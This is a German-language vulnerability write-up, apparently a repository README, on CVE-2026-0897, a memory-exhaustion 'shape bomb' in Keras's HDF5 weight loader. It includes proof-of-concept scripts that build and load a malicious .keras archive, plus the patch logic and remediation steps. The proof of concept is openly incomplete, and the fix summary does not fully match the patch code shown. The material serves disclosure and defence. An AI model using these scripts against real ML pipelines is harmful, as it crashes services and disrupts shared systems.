CVE-2026-0897 — Google Keras: Denial of Service durch HDF5-Shape-Bombe beim Laden von Gewichten

Übersicht

Beschreibung

In der HDF5-Gewichtsladekomponente von Google Keras, Versionen 3.0.0 bis 3.13.0, besteht auf allen Plattformen eine Denial-of-Service-Schwachstelle. Die Schwachstelle wird durch das Fehlen jeglicher Validierung oder Drosselung bei der Verarbeitung von HDF5-Datensatz-Shape-Metadaten verursacht, die in einem .keras-Archiv deklariert sind.

Das HDF5-Format erlaubt es Datensätzen, ihre Form (Tensor-Dimensionen) als Metadaten zu deklarieren. Wenn Keras Modellgewichte aus einem .keras-Archiv lädt, liest es diese deklarierte Form und versucht, einen entsprechenden Speicherblock zu allokieren, bevor irgendwelche Daten übertragen werden. Da Keras vor der Allokation keine Grenzprüfung der deklarierten Form durchführt, kann ein Angreifer eine model.weights.h5-Datei erstellen, die eine astronomisch große Form deklariert — zum Beispiel (1000000, 1000000, 1000000) — wodurch Keras versucht, eine Speicherallokation im Petabyte-Bereich durchzuführen. Dies erschöpft den gesamten verfügbaren Systemspeicher und lässt den Python-Interpreter abstürzen.

Nach dem Laden des Modells sind keine Inferenz oder weitere Interaktionen erforderlich. Der Angriff wird vollständig zum Ladezeitpunkt ausgelöst.

Betroffene Komponente

Die Schwachstelle befindet sich speziell in der Klasse KerasFileEditor, die für die Deserialisierung von Modellgewicht-Tensoren aus HDF5-Stores verantwortlich ist, die in .keras-Archiven eingebettet sind.

Aufschlüsselung des CVSS 4.0-Vektors

Auswirkungen

• Vollständiger Denial of Service — Der Python-Interpreter stürzt ab und der Prozess wird beendet, wenn das bösartige Archiv geladen wird
• Speichererschöpfung — Der Systemspeicher (RAM) wird schnell verbraucht, um die deklarierte Allokation zu erfüllen, was möglicherweise andere, gemeinsam betriebene Dienste beeinträchtigt
• Störung von ML-Pipelines — Jede Produktions- oder Forschungspipeline, die .keras-Modellarchive aus nicht vertrauenswürdigen oder benutzergelieferten Quellen lädt, ist verwundbar
• Keine Authentifizierung erforderlich — Ein Angreifer benötigt nur, dass das Opfer ein bösartiges Archiv lädt; der Angriff erfordert keine Anmeldedaten und keinen vorherigen Zugriff

Einsatzszenarien mit hohem Risiko

Technische Details

Angriffsmechanismus: HDF5-Shape-Bombe

Das HDF5-Dateiformat speichert Tensor-Metadaten — einschließlich Formdeklarationen — getrennt von den tatsächlichen Datenbytes. Wenn KerasFileEditor._extract_weights_from_store() auf einen Datensatzeintrag stößt, liest es die deklarierte Form und ruft NumPy auf, um ein Array der entsprechenden Dimensionen vorab zu allokieren, bevor irgendwelche Daten von der Festplatte gelesen werden.

Da die Form Metadaten sind, kann eine minimale HDF5-Datei eine Form deklarieren, die Petabytes an Speicher erfordern würde, während die Datei selbst nur wenige Kilobyte groß bleibt. Das Verhältnis von Dateigröße zu Allokationsgröße macht dies zu einem äußerst effektiven Verstärkungsangriff.

Eine Form wie (1000000, 1000000, 1000000) mit einem 32-Bit-Float-Datentyp würde ungefähr 4.000 Petabytes Speicher anfordern. Der Out-of-Memory-Killer des Betriebssystems oder der Python-Allokator lässt den Prozess nahezu sofort abstürzen.

Verwundbarer Codepfad (vor dem Fix)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

Das Fehlen jeglicher Prüfung von shape vor dem Aufruf von np.zeros() ist die Grundursache.

Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Erzeugen eines bösartigen .keras-Archivs

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

Auslösen des DoS

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

Erwartetes Ergebnis: Der Python-Interpreter wird mit einem MemoryError beendet oder vom Out-of-Memory-Handler des Betriebssystems abgebrochen, bevor der Ladevorgang abgeschlossen ist.

Beobachtbare Symptome:

• Plötzlicher Speicheranstieg bis zur Systemgrenze während des Modellladens
• Absturz des Python-Interpreters oder MemoryError während load_model() oder load_weights()
• Out-of-Memory-Fehler des Systems, korreliert mit der HDF5-Dateiverarbeitung
• Ungewöhnliche HDF5-Dateien mit extrem großen deklarierten Datensatzformen, erkennbar über h5dump

Fix

Die Schwachstelle wurde vom Forscher (HyperPS / Sarvesh Patil) in PR #21880 behoben, der am 29. Dezember 2025 in keras-team:master zusammengeführt sowie vom Keras-Maintainer hertschuh geprüft und genehmigt wurde.

Was der Fix umsetzt

Der Patch ändert KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py, um die folgenden Schutzmaßnahmen hinzuzufügen, bevor irgendeine Speicherallokation erfolgt:

• Formvalidierung — Lehnt Formen mit negativen Dimensionen oder einem Dimensionsprodukt von null ab
• Rangbegrenzung — Lehnt Datensätze mit einem Tensorrang über 64 ab (kein gültiges Modellgewicht hat einen Rang > 64)
• Erkennung von Dimensionsüberläufen — Prüft auf Dimensionswerte, die bei der Multiplikation die Integer-Arithmetik überlaufen lassen würden
• Maximale Speicherobergrenze — Erzwingt eine harte Grenze von 1 GiB pro Datensatzallokation; jeder Datensatz, dessen deklarierte Form mehr als 1 GiB erfordern würde, wird mit einem Fehler abgelehnt, bevor die Allokation versucht wird
• Korrektur des Rekursionspfads — Behebt die inner_path-Behandlung während der rekursiven Durchquerung des HDF5-Stores

Der Fix ist abwärtskompatibel mit allen gültigen Keras-Gewichtsdateien.

Patch (vereinfachte Darstellung)

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Abhilfe

Upgrade per pip:

pip install --upgrade keras

Installierte Version prüfen:

python -c "import keras; print(keras.__version__)"

HDF5-Gewichtsdatei auf verdächtige Shapes vorscannen:

h5dump --header model.weights.h5 | grep -i "DATASPACE"

Zeitlicher Ablauf

Referenzen

Haftungsausschluss

Dieses Repository dokumentiert CVE-2026-0897 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwickler, Sicherheitsingenieure und Systemadministratoren dabei zu unterstützen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.

Jegliche Verwendung dieser Informationen, um Systemen, Diensten oder Personen ohne ausdrückliche Genehmigung Schaden zuzufügen, ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der hierin enthaltenen Informationen.

Mitwirkende @mohitf070304